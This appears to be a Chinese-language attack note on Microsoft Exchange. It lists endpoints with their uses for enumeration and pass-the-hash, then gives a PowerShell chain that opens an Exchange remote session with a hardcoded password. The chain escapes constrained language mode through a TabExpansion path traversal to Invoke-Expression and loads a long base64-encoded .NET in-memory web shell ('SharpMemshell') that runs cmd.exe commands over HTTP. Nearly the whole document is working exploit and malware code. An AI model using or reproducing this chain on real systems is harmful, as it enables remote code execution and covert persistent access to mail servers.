nmap -T3 -sVC -n -sT -Pn -p 80,443 --script http-ntlm-info.nse --script-args http-ntlm-info.root=/ews/

/Microsoft-Server-ActiveSync/default.eas/Microsoft-Server-ActiveSync/Autodiscover/Autodiscover.xml/Autodiscover/Exchange/Rpc/EWS/Exchange.asmx/EWS/Services.wsdl/EWS/ecp/OAB/OWA/aspnet_client/PowerShell

/autoDiscover/                      自Exchange Server 2007开始推出的一项自动服务，用于自动配置用户在Outlook中邮箱的相关设置，简化用户登陆使用邮箱的流程。/ecp   "Exchange Control Panel"     Exchange管理中心，管理员用于管理组织中的Exchange的Web控制台/ews   "Exchange Web Services"      Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互/mapi                               Outlook连接Exchange的默认方式，在2013和2013之后开始使用，2010 sp2同样支持/microsoft-Server-ActiveSync        用于移动应用程序访问电子邮件/OAB   "Offline Address Book"       用于为Outlook客户端提供地址簿的副本，减轻Exchange的负担/owa   "Outlook Web APP"            Exchange owa 接口，用于通过web应用程序访问邮件、日历、任务和联系人等/powerShell                         用于服务器管理的Exchange管理控制台 kerberos认证/Rpc                                早期的Outlook还使用称为Outlook Anywhere的RPC交互/Microsoft-Server-ActiveSync     Autodiscover                        这个接口可以接收xml请求。主要也是用来进行信息搜集，比如用户枚举。除了会返回 oab.xml 地址外，还会返回域控地址EWS                                 可以用来指定搜索条件获取 GAL，PTHOAB                                 地址集合列表的副本，构造包访问 /Autodiscover                       获取具体的 /OAB/xxx/oab.xml，然后下载其中的 .lzx 文件，最后通过 oabextract 解析后得到其中的 SMTP 地址信息。OWA                                 可以查看所有人的邮箱地址RPC                                 它下面的接口的 [MS-OXNSPI] 协议可以 pth 域机器账户Microsoft-Server-ActiveSync         用来访问域内共享服务

$secureString = ConvertTo-SecureString -String "admin123." -AsPlainText -Force$UserCredential = New-Object System.Management.Automation.PSCredential -ArgumentList "red\vs01", $secureString$version = New-Object -TypeName System.Version -ArgumentList "2.0"$mytable = $PSversionTable$mytable["WSManStackVersion"] = $version$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck -ApplicationArguments @{PSversionTable=$mytable}$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://ex-01.red.net.cn/powershell -Credential $UserCredential -Authentication Kerberos -AllowRedirection -SessionOption $sessionOptionEnter-PSSession $SessionTabExpansion -line ";../../../../Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression" -lastWord "-test"invoke-expression "`$ExecutionContext.SessionState.LanguageMode"invoke-expression "`$ExecutionContext.SessionState.LanguageMode='FullLanguage'"$x1="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA9GvmMAAAAAAAAAAOAAAiELAQsAACQAAAAGAAAAAAAALkIAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAANhBAABTAAAAAGAAAKgCAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAANCIAAAAgAAAAJAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAKgCAAAAYAAAAAQAAAAmAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAAKgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAQQgAAAAAAAEgAAAACAAUADCsAAMwWAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"$x2="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAgApAAAAAQAAEQAoAwAACgoU/gYGAAAGcwQAAApzBQAACgsWKAYAAAoABwZvBwAACgAqAAAAEzACADEAAAABAAARAigIAAAKAAAoAwAACgoU/gYGAAAGcwQAAApzBQAACgsWKAYAAAoABwZvBwAACgAAKgAAABswBACHAAAAAgAAEQAAcgEAAHAKBigJAAAKEwURBS0yACgKAAAKAm8LAAAKCwYYcwwAAAoMCAcWB45pbw0AAAoACG8OAAAKAAhvDwAACgAAKykABhdzEAAACg0ACQJvEQAACgAA3hIJFP4BEwURBS0HCW8SAAAKANwAAADeExMEAHIXAABwEQQoEwAACgAA3gAAKgABHAAAAgBPAAxbABIAAAAAAAABAHFyABMTAAABEzAEAJYAAAADAAARAAJvFAAACgJvFQAACnMWAAAKbxcAAAoKcxgAAAoLBheNFgAAARMIEQgWHyadEQhvGQAACgwACBMJFhMKK0IRCREKmg0ACReNFgAAARMIEQgWHz2dEQhvGQAAChMEEQQWmhMFEQQXmigaAAAKEwYHEQURBm8bAAAKAAARChdYEwoRChEJjmn+BBMLEQstsAcTBysAEQcq+gACbxwAAAofGnJFAABwbx0AAAoAAm8cAAAKHwxyaQAAcG8dAAAKAAJvHAAACnKbAABwcrUAAHBvHgAACgAqAAAAGzAHAFYIAAAEAAARAHMfAA"$x3="AKCgAoIAAAChMjESMtBgDdOwgAAHLFAABwC3LNAABwDHLXAABwDXIiBABwEwQGbyEAAAoRBG8iAAAKAAZvIwAACgAJKCQAAAoTBXMlAAAKKAoAAAoHbwsAAAooJgAACignAAAKclQEAHByWAQAcG8oAAAKbykAAAoWHxBvKgAAChMGcyUAAAooCgAACggRBigrAAAKbwsAAAooJgAACignAAAKclQEAHByWAQAcG8oAAAKEwdzLAAAChMIcy0AAAoTCThKBwAAAAZvLgAAChMKEQpvLwAAChMLEQpvMAAAChMMEQwoBQAABgAUEw0AAhT+ARMjESMtDAACdQcAAAETDgArSAByWAQAcBELbzEAAApvMgAAChELbzMAAApvMgAACnM0AAAKEw8RDG81AAAKczYAAAoTEBEQczcAAAoTEREPERFzOAAAChMOABELbzkAAApyWgQAcG86AAAKExIREnJkBABwKDsAAAoW/gETIxEjLVIAKDwAAApycAQAcG8LAAAKExMRDCDIAAAAbz0AAAoAEQwRE45pam8+AAAKABEMbzUAAAoTDRENERMWEROOaW8NAAAKABENbw8AAAoAADi6BQAAERJydgQAcCg7AAAKLBYRC28/AAAKcn4EAHAoOwAAChb+ASsBFwATIxEjOtUAAAAAEQsoBAAABhMUc0AAAAoTFREVb0EAAApyiAQAcG9CAAAKABEVb0EAAApymAQAcBEUCG9DAAAKKCsAAApvRAAAC"$x4="gARFW9BAAAKFm9FAAAKABEVb0EAAAoXb0YAAAoAERVvQQAAChdvRwAACgARFW9IAAAKJig8AAAKERVvSQAACm8XAAAKERVvSgAACm8XAAAKKCsAAApvCwAAChMWEQwgyAAAAG89AAAKABEMERaOaWpvPgAACgARDG81AAAKEw0RDREWFhEWjmlvDQAACgAAOLYEAAAREnKgBABwKDsAAAosFhELbz8AAApyfgQAcCg7AAAKFv4BKwEXABMjESM6cAIAAAARCygEAAAGExQRFAhvQwAACigkAAAKExZzSwAACigKAAAKEQZvCwAACigKAAAKEQZvCwAACm9MAAAKERYWERaOaW9NAAAKExYRC29OAAAKcrAEAHBvTwAAChMXERcU/gEW/gETIxEjOtAAAAAAKFAAAAoTGNAfAAABKFEAAApy1AQAcBeNMwAAARMkESQW0AMAABsoUQAACqIRJChSAAAKFBeNAQAAARMlESUWERaiESVvUwAACnQfAAABExkRCBIY/hYyAAABbzIAAAoRGW9UAAAKABEMcrAEAHASGP4WMgAAAW8yAAAKc1UAAApvVgAACgAoPAAACnJYBABwbwsAAAoTExEMIMgAAABvPQAACgARDBETjmlqbz4AAAoAEQxvNQAAChMNEQ0RExYRE45pbw0AAAoAADgtAQAAABEIERdvVwAACm9YAAAKExpzWQAAChMbfgEAAAQtJx8Q0B8AAAEoUQAACtACAAACKFEAAAoo"$x5="WgAACihbAAAKgAEAAAQrAH4BAAAEe1wAAAp+AQAABBEab10AAApy3gQAcG9eAAAKExwRHBEbb18AAAomERwRDm9fAAAKJhEcERZvXwAACiYRHG8yAAAKJhEbb2AAAAoTHREbb2EAAAoAEQwgyAAAAG89AAAKABEHFh8QbyoAAApzSwAACigKAAAKEQZvCwAACigKAAAKEQZvCwAACm9iAAAKER0WER2OaW9NAAAKKGMAAAoRBx8Qb2QAAAooZQAAChMeKGYAAAoRHm8LAAAKEx8RDBEfjmlqbz4AAAoAEQxvNQAAChMNEQ0RHxYRH45pbw0AAAoAAAA4FwIAABEScuQEAHAoOwAACiwfEQtvPwAACnJ+BABwKDsAAAosDBELb2cAAAoW/gErARcAEyMRIzqrAQAAABELbzkAAApy9AQAcG9oAAAKKGkAAAoTIBEgjTwAAAETIRELbxQAAAoRIRYRIG9qAAAKJnNLAAAKKAoAAAoRBm8LAAAKKAoAAAoRBm8LAAAKb0wAAAoRIRYRIY5pb00AAAoTFhEJchIFAHBvawAAChT+ARb+ARMjESMtWwARCXISBQBw0B8AAAEoUQAACnLUBABwF40zAAABEyQRJBbQAwAAGyhRAAAKohEkKFIAAAoUF40BAAABEyURJRYRFqIRJW9TAAAKdB8AAAFvbAAACgAAONEAAAAAEQlyEgUAcG9rAAAKdB8AAAFy3gQAcG9eAAAKExxzWQAAChMbERwRG29"$x6="fAAAKJhEcEQ5vXwAACiYRHBEWb18AAAomERxvMgAACiYRG29gAAAKEx0RG29hAAAKABEdjmkW/gIW/gETIxEjLWQAc0sAAAooCgAAChEGbwsAAAooCgAAChEGbwsAAApvYgAAChEdFhEdjmlvTQAAChMdEQwgyAAAAG89AAAKABEMbzUAAAoTDREMER2OaWpvPgAACgARDREdFhEdjmlvDQAACgAAAAArNAARDCCUAQAAbz0AAAoAEQwRBY5pam8+AAAKABEMbzUAAAoTDRENEQUWEQWOaW8NAAAKAAAA3k8TIgARDCCUAQAAbz0AAAoAEQwRBY5pam8+AAAKABEMbzUAAAoTDRENEQUWEQWOaW8NAAAKAHIiBQBwESJvMgAACigrAAAKKG0AAAoAAN4AAN46ABENFP4BEyMRIy0SABENbw4AAAoAEQ1vDwAACgAAEQxvNQAACm8OAAAKABEMbzUAAApvDwAACgAA3AAAFxMjOK74//8TIgBySgUAcBEibzIAAAooKwAACihtAAAKAAZvbgAAChb+ARMjESMtCQAGb28AAAoAAADeAAAAKgAAQUwAAAAAAADyAAAAlgYAAIgHAABPAAAAEwAAAQIAAADyAAAA6AYAANoHAAA6AAAAAAAAAAAAAAAHAAAAFwgAAB4IAAA1AAAAEwAAAUJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAAKwFAAAjfgAAGAYAAEgIAAAjU3RyaW"$x7="5ncwAAAABgDgAAdAUAACNVUwDUEwAAEAAAACNHVUlEAAAA5BMAAOgCAAAjQmxvYgAAAAAAAAACAAABVxUCCAkCAAAA+iUzABYAAAEAAAA9AAAAAwAAAAEAAAAGAAAABQAAAHAAAAADAAAABAAAAAUAAAABAAAABQAAAAEAAAAAAAoAAQAAAAAABgA1AC4ABgBmAEsACgB+AHMACgCdAHMABgAEAeQABgAkAeQADgBWAUsBBgB/AW4BBgCYAW4BBgC1AasBBgDNAcEBBgDrAasBBgD2AasBBgD/AasBBgAYAqsBBgAlAqsBBgA6Ai4ABgBOAi4ABgBWAi4ABgCEAqsBBgCRAqsBBgCmAi4ABgCrAi4ADgC4AksBCgDSAnMACgDyAnMACgAoAwkDEgBkA+QABgBvAy4AEgB2A+QABgCRA38DCgClA3MACgDCA3MABgDsAy4ABgAiBAUEBgA7BAUEBgBVBC4ABgCfBIwECgCpBHMACgDhBC4ADgD9BEsBDgAaBUsBCgCKBXcFCgCSBXcFBgA6BgUEBgBKBgUEBgBdBgUECgCSBnMACgCvBnMABgC2Bi4ABgDDBi4ABgDIBi4ABgDsBn8DBgABB38DBgAnB6sBFgBkB0UHEgBrB+QAFgB6B0UHBgD3By4ABgADCC4ABgArCOQAAAAAAAEAAAAAAAEAAQABABAAFwAAAAUAAQABAIMBEAA8AwAABQABAAcAFgCaA/wAUCAAAAAAkQA8AAoAAQCII"$x8="AAAAACGGEEAEAACAMggAAAAAJYARwAUAAIAeCEAAAAAlgCSABkAAwAaIgAAAACWALIAJAAEAFwiAAAAAJYAwAAqAAUAAAABAMkAAAABAM4AAAABANMAAAABANsAAAABAOAAKQBBAC8AMQBBABAAOQBiAT0AQQBBAEIASQBBAEgASQCfAU4ASQClAVMACQBBABAAUQC6AV8AWQDWAWQAWQDiAWkAYQBBAG8AcQAGAnYAcQAMAhAAcQASAhAAeQBBAH4AgQAwAoQAiQBGAhAAkQAwAokAGQBgApwAGQBwAqEAoQBBAKYAqQCcAq4ADABBABAAuQCyArkAwQDEAsAADADOAsUAIQDmAuoAyQAFA+8A2QDOAvYAAQFBABAAAQGyAwsBAQHfAw8BCQHOAoQAAQGlARAAEQH0AxUBGQFBABAAIQFJBBsBKQFiBCIBuQBrBCgBuQBzBK4AuQB7BC4BuQCFBDQBFABBABAAMQFBABAAAQG9BEEBOQHIBEcBOQHUBEwBGQDlBFEBCQBiBK4AGQDtBFcBSQFBAFwBIQAJBZwAeQBBAGMBUQFBAGkBOQBBAG8BGQDmAlcB2QAnBXkBuQAwBX4BWQA8BWQAIQBFBS8AIQBUBYQBGQBoBa4AWQFBABAAWQGjBYkBYQGxBYQADAAnBY8BYQG+BYQAYQHMBZYBYQHgBZYBYQH7BZYBWQGlAZsBWQEVBp8BWQEoBp8BaQFBABAAcQFuBqQBeQF+Bq4BGQCjBrcB"$x9="gQEnBb0BkQG7BsQBmQHaBsoBmQH3BtYBsQEMB+EBFADOAsUAiQFBAPYAIQATB+gBiQEdB64AFAAnBY8BuQFBABAAwQHsA+8BJACMBwwCJACTBxgCLAAMByYC+QCaBy8CCQCpBzQCuQGwBzkCcQBGAhAAcQG4B6QBEQHIByIBuQB7BD4CuQCFBEMCWQDXB2QAGQDhB5sB2QDzB3kB2QH9B0oCcQAICE8CMQEnBVcCMQENCFwCkQAwAhQAAQEWCJsBAQEmCBAA6QFBABAALgALAL0CLgATAMYCYwCDA7gCWACPAM0AYgKyADoB0wH+ARwCBIAAAAAAAAAAAAAAAAAAAAAAQgEAAAQAAAAAAAAAAAAAAAEAJQAAAAAABAAAAAAAAAAAAAAAAQAuAAAAAAAEAAAAAAAAAAAAAAA0AEsBAAAAAAQAAAAAAAAAAAAAAAEAWAMAAAAABAAAAAAAAAAAAAAANAA0BwAAAAADAAIAAAAAAAA8TW9kdWxlPgBtZW1zaGVsbC5kbGwAU2hhcnBNZW1zaGVsbABtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AE1haW4ALmN0b3IAbG9nAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAERpY3Rpb25hcnlgMgBTeXN0ZW0uTmV0AEh0dHBMaXN0ZW5lclJlcXVlc3QAcGFyc2VfcG9zdABIdHRwTGlzdGVuZXJSZXNwb25zZQBTZXRSZXNwSGVhZGVyAExpc3R"$x10="lbmVyAGFyZ3MAZGF0YQByZXF1ZXN0AHJlc3AAY3R4AFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBtZW1zaGVsbABTeXN0ZW0uV2ViAEh0dHBDb250ZXh0AGdldF9DdXJyZW50AFN5c3RlbS5UaHJlYWRpbmcAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFRocmVhZABTbGVlcABTdGFydABTeXN0ZW0uSU8ARmlsZQBFeGlzdHMAU3lzdGVtLlRleHQARW5jb2RpbmcAZ2V0X0RlZmF1bHQAR2V0Qnl0ZXMARmlsZVN0cmVhbQBGaWxlTW9kZQBTdHJlYW0AV3JpdGUARmx1c2gAQ2xvc2UAU3RyZWFtV3JpdGVyAFRleHRXcml0ZXIAV3JpdGVMaW5lAElEaXNwb3NhYmxlAERpc3Bvc2UAQ29uc29sZQBFeGNlcHRpb24AZ2V0X0lucHV0U3RyZWFtAGdldF9Db250ZW50RW5jb2RpbmcAU3RyZWFtUmVhZGVyAFRleHRSZWFkZXIAUmVhZFRvRW5kAENoYXIAU3RyaW5nAFNwbGl0AEh0dHBVdGlsaXR5AFVybERlY29kZQBBZGQAV2ViSGVhZGVyQ29sbGVjdGlvbgBnZXRfSGVhZGVycwBIdHRwUmVzcG"$x11="9uc2VIZWFkZXIAU2V0AFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZABOYW1lVmFsdWVDb2xsZWN0aW9uADxMaXN0ZW5lcj5vX19TaXRlQ29udGFpbmVyMABTeXN0ZW0uQ29yZQBDYWxsU2l0ZWAxAEZ1bmNgMwBDYWxsU2l0ZQBTeXN0ZW0uUmVmbGVjdGlvbgBBc3NlbWJseQA8PnBfX1NpdGUxAEh0dHBMaXN0ZW5lcgBnZXRfSXNTdXBwb3J0ZWQASHR0cExpc3RlbmVyUHJlZml4Q29sbGVjdGlvbgBnZXRfUHJlZml4ZXMAQ29udmVydABGcm9tQmFzZTY0U3RyaW5nAFN5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkATUQ1Q3J5cHRvU2VydmljZVByb3ZpZGVyAEhhc2hBbGdvcml0aG0AQ29tcHV0ZUhhc2gAQml0Q29udmVydGVyAFRvU3RyaW5nAFJlcGxhY2UAVG9Mb3dlcgBTdWJzdHJpbmcAQ29uY2F0AFN5c3RlbS5Db2xsZWN0aW9ucwBIYXNodGFibGUASHR0cExpc3RlbmVyQ29udGV4dABHZXRDb250ZXh0AGdldF9SZXF1ZXN0AGdldF9SZXNwb25zZQBVcmkAZ2V0X1VybABnZXRfUXVlcnlTdHJpbmcASHR0cFJlcXVlc3QAZ2V0X091dHB1dFN0cmVhbQBIdHRwUmVzcG9uc2UAZ2V0X0l0ZW0Ab"$x12="3BfRXF1YWxpdHkAZ2V0X1VURjgAc2V0X1N0YXR1c0NvZGUAc2V0X0NvbnRlbnRMZW5ndGg2NABnZXRfSHR0cE1ldGhvZABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2VzcwBQcm9jZXNzU3RhcnRJbmZvAGdldF9TdGFydEluZm8Ac2V0X0ZpbGVOYW1lAHNldF9Bcmd1bWVudHMAc2V0X1VzZVNoZWxsRXhlY3V0ZQBzZXRfUmVkaXJlY3RTdGFuZGFyZE91dHB1dABzZXRfUmVkaXJlY3RTdGFuZGFyZEVycm9yAGdldF9TdGFuZGFyZE91dHB1dABnZXRfU3RhbmRhcmRFcnJvcgBSaWpuZGFlbE1hbmFnZWQAU3ltbWV0cmljQWxnb3JpdGhtAElDcnlwdG9UcmFuc2Zvcm0AQ3JlYXRlRGVjcnlwdG9yAFRyYW5zZm9ybUZpbmFsQmxvY2sAQ29va2llQ29sbGVjdGlvbgBnZXRfQ29va2llcwBDb29raWUAR3VpZABOZXdHdWlkAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUATWV0aG9kSW5mbwBHZXRNZXRob2QATWV0aG9kQmFzZQBJbnZva2UAU2V0Q29va2llAGdldF9WYWx1ZQBNZW1vcnlTdHJlYW0ATWljcm9zb2Z0LkNTaGFycABNaWNyb3NvZnQuQ1NoYXJwLlJ1bnRpbWVCaW5kZXIAQmlu"$x13="ZGVyAENhbGxTaXRlQmluZGVyAENTaGFycEJpbmRlckZsYWdzAENyZWF0ZQBUYXJnZXQAQ3JlYXRlSW5zdGFuY2UARXF1YWxzAFRvQXJyYXkAQ3JlYXRlRW5jcnlwdG9yAFRvQmFzZTY0U3RyaW5nAGdldF9BU0NJSQBnZXRfSGFzRW50aXR5Qm9keQBHZXQASW50MzIAUGFyc2UAQnl0ZQBSZWFkAHNldF9JdGVtAGdldF9Jc0xpc3RlbmluZwBTdG9wAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAAAAABVjADoAXABsAG8AZwAuAHQAeAB0AAAtTABvAGcAIABlAHIAcgBvAHIAIQAgAEUAcgByAG8AcgA6ACAACgB7ADAAfQAAI00AaQBjAHIAbwBzAG8AZgB0AC0ASQBJAFMALwA4AC4ANQABMXQAZQB4AHQALwBoAHQAbQBsADsAIABjAGgAYQByAHMAZQB0AD0AdQB0AGYALQA4AAEZWAAtAFAAbwB3AGUAcgBlAGQALQBCAHkAAQ9BAFMAUAAuAE4ARQBUAAAHawBlAHkAAAlwAGEAcwBzAACDSVAAQwBGAEUAVAAwAE4AVQBXAFYAQgBGAEkARQBoAFUAVABVAHcAZwBVAEYAVgBDAFQARQBsAEQASQBDAEkAdABMAHkAOQBYAE0AMABNAHYATAAwAFIAVQBSAEMAQgBJAFYARQAxAE0ASQBEAFEAdQBNAEQARQB2AEwAMAB"$x14="WAE8ASQBpAEoAbwBkAEgAUgB3AE8AaQA4AHYAZAAzAGQAMwBMAG4AYwB6AEwAbQA5AHkAWgB5ADkAVQBVAGkAOQBvAGQARwAxAHMATgBDADkAegBkAEgASgBwAFkAMwBRAHUAWgBIAFIAawBJAGoANABOAEMAagB4AEkAVgBFADEATQBQAGoAeABJAFIAVQBGAEUAUABqAHgAVQBTAFYAUgBNAFIAVAA1AE8AYgAzAFEAZwBSAG0AOQAxAGIAbQBRADgATAAxAFIASgBWAEUAeABGAFAAZwAwAEsAUABFADEARgBWAEUARQBnAFMARgBSAFUAVQBDADEARgBVAFYAVgBKAFYAagAwAGkAUQAyADkAdQBkAEcAVgB1AGQAQwAxAFUAZQBYAEIAbABJAGkAQgBEAGIAMgA1ADAAWgBXADUAMABQAFMASgAwAFoAWABoADAATAAyAGgAMABiAFcAdwA3AEkARwBOAG8AWQBYAEoAegBaAFgAUQA5AGQAWABNAHQAWQBYAE4AagBhAFcAawBpAFAAagB3AHYAUwBFAFYAQgBSAEQANABOAEMAagB4AEMAVAAwAFIAWgBQAGoAeABvAE0AagA1AE8AYgAzAFEAZwBSAG0AOQAxAGIAbQBRADgATAAyAGcAeQBQAGcAMABLAFAARwBoAHkAUABqAHgAdwBQAGsAaABVAFYARgBBAGcAUgBYAEoAeQBiADMASQBnAE4ARABBADAATABpAEIAVQBhAE"$x15="cAVQBnAGMAbQBWAHgAZABXAFYAegBkAEcAVgBrAEkASABKAGwAYwAyADkAMQBjAG0ATgBsAEkARwBsAHoASQBHADUAdgBkAEMAQgBtAGIAMwBWAHUAWgBDADQAOABMADMAQQArAEQAUQBvADgATAAwAEoAUABSAEYAawArAFAAQwA5AEkAVgBFADEATQBQAGcAMABLAAAxaAB0AHQAcAA6AC8ALwAqADoAOAAwAC8AZgBhAHYAaQBjAG8AbgAuAGkAYwBvAC8AAAMtAAEBAAlUAHkAcABlAAALcAByAGkAbgB0AAAFTwBLAAAHYwBtAGQAAAlQAE8AUwBUAAAPYwBtAGQALgBlAHgAZQAABy8AYwAgAAAPbQBlAG0AXwBiADYANAAAI0EAUwBQAC4ATgBFAFQAXwBTAGUAcwBzAGkAbwBuAEkAZAAACUwAbwBhAGQAAAVMAFkAAA9tAGUAbQBfAHIAYQB3AAAdQwBvAG4AdABlAG4AdAAtAEwAZQBuAGcAdABoAAEPcABhAHkAbABvAGEAZAAAJ0UAeABjAGUAcAB0AGkAbwBuACAAYwBhAHUAZwBoAHQAMQA6ACAAACdFAHgAYwBlAHAAdABpAG8AbgAgAGMAYQB1AGcAaAB0ADIAOgAgAAAAAGHMJ9CIpjtMullr+Qcp8L4ACLd6XFYZNOCJBQABAR0OAyAAAQQAAQEOCgABFRIJAg4OEg0FAAEBEhEEAAEBHAQgAQEICLA/X38R1Qo6B"$x16="AAAEh0FIAIBHBgFIAEBEiEEAAEBCAQgAQEcBgcCEh0SJQQAAQIOBAAAEi0FIAEdBQ4GIAIBDhE1ByADAR0FCAgFIAIBDgIEIAEBDgUAAgEOHAwHBg4dBRIxEj0STQIEIAASOQQgABItByACARI5Ei0DIAAOBhUSCQIODgYgAR0OHQMEAAEODgcgAgETABMBHAcMDhUSCQIODh0ODh0ODg4VEgkCDg4dAx0OCAIEIAASZQYgAgERaQ4FIAIBDg4OBhUScQEVEnUDEnkcEn0DAAACBSAAEoCFBQABHQUOBiABHQUdBQUAAQ4dBQUgAg4ODgUgAg4ICAUAAg4ODgYVEgkCDhwFIAASgJ0EIAASDQQgABIRBSAAEoChBCAAEm0GIAMBDg4OBSABARI5BSABARJBCSACARKApRKAqQQgAQ4OBQACAg4OBCABAQoFIAASgLEGIAETARMABCABAQIDIAACBCAAElEJIAISgL0dBR0FCCADHQUdBQgIBSAAEoDBBiABEoDFDgUAABGAyQgAARKAzRGA0QIdBQogAhKA1Q4dEoDNBiACHBwdHAYgAQESgMUOAAMSgOURgOkSgM0SgM0NFRJxARUSdQMSeRwSfQsAARUScQETABKA5QMGEwAJFRJ1AxJ5HBJ9CCACEwITABMBBCABHA4EIAECHAQgAB0FBCABDggGAAMODg4OBAABCA4HIAMIHQUICAQgARwcBSACARwcVQcmEoCBDg4ODh0FDg4VEgkC"$x17="DhwSgJkSgJ0SDRIREjkSHRKApRI9EoCpDh0FFRIJAg4OEoCtHQUSgMURgMkSfRwSgN0cHQUOHQUIHQUSTQIdEoDNHRwEAQAAAAgBAAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEAAAAAQgAAAAAAAAAAAAAeQgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEEIAAAAAAAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"$x18="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYYAAATAIAAAAAAAAAAAAATAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABtAGUAbQBzAGgAZQBsAGwALgBkAGwAbAAAAAAAKAACAA"$x19="EATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABtAGUAbQBzAGgAZQBsAGwALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA